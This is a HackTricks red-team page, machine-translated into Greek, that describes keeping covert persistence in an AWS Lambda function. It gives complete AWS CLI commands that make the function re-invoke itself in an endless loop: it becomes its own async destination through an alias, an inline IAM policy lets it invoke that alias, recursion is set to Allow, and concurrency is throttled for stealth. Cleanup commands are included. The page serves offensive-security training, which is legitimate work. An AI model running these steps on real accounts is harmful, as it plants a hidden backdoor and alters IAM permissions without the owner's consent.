AWS - Lambda Ασύγχρονη Αυτο-επανάκληση Επίμονη Πρόσβαση μέσω Destinations + Recursion Allow

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κακοποιήστε τις Lambda asynchronous destinations μαζί με τη Recursion configuration για να κάνετε μια function να ξανα-invoke-άει συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (όχι EventBridge, cron κ.λπ.). Από προεπιλογή, το Lambda τερματίζει τις recursive loops, αλλά ρυθμίζοντας το recursion config σε Allow τις ενεργοποιεί ξανά. Τα Destinations παραδίδουν από την πλευρά της υπηρεσίας για async invokes, οπότε μια μοναδική seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor κανάλι. Προαιρετικά, throttle-άρετε με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό.

Σημειώσεις

  • Το Lambda δεν επιτρέπει να ρυθμιστεί η function να είναι το δικό της destination άμεσα. Χρησιμοποιήστε ένα function alias ως destination και επιτρέψτε στο execution role να invoke-άρει αυτό το alias.
  • Ελάχιστα δικαιώματα: δυνατότητα ανάγνωσης/ενημέρωσης του target function’s event invoke config και recursion config, δημοσίευσης μιας version και διαχείρισης ενός alias, και ενημέρωσης του execution role policy της function ώστε να επιτρέπεται lambda:InvokeFunction στο alias.

Requirements

  • Region: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Steps

  1. Get function ARN and current recursion setting
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Δημοσιεύστε μια version και δημιουργήστε/ενημερώστε ένα alias (χρησιμοποιείται ως self destination)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Επιτρέψτε στον ρόλο εκτέλεσης της συνάρτησης να καλεί το alias (απαιτείται από Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Διαμορφώστε το async destination στο alias (self μέσω alias) και απενεργοποιήστε τα retries
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Επιτρέψτε αναδρομικούς βρόχους
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Ενεργοποίηση ενός μεμονωμένου asynchronous invoke
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Παρακολούθηση συνεχών κλήσεων (παραδείγματα)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Προαιρετικός stealth throttle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Καθαρισμός

Διακόψτε το loop και αφαιρέστε το persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Επιπτώσεις

  • Μια μεμονωμένη async invoke προκαλεί το Lambda να επανεκκινεί συνεχώς τον εαυτό του χωρίς εξωτερικό scheduler, επιτρέποντας stealthy persistence/heartbeat. Το Reserved concurrency μπορεί να περιορίσει τον θόρυβο σε μία μόνο warm execution.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks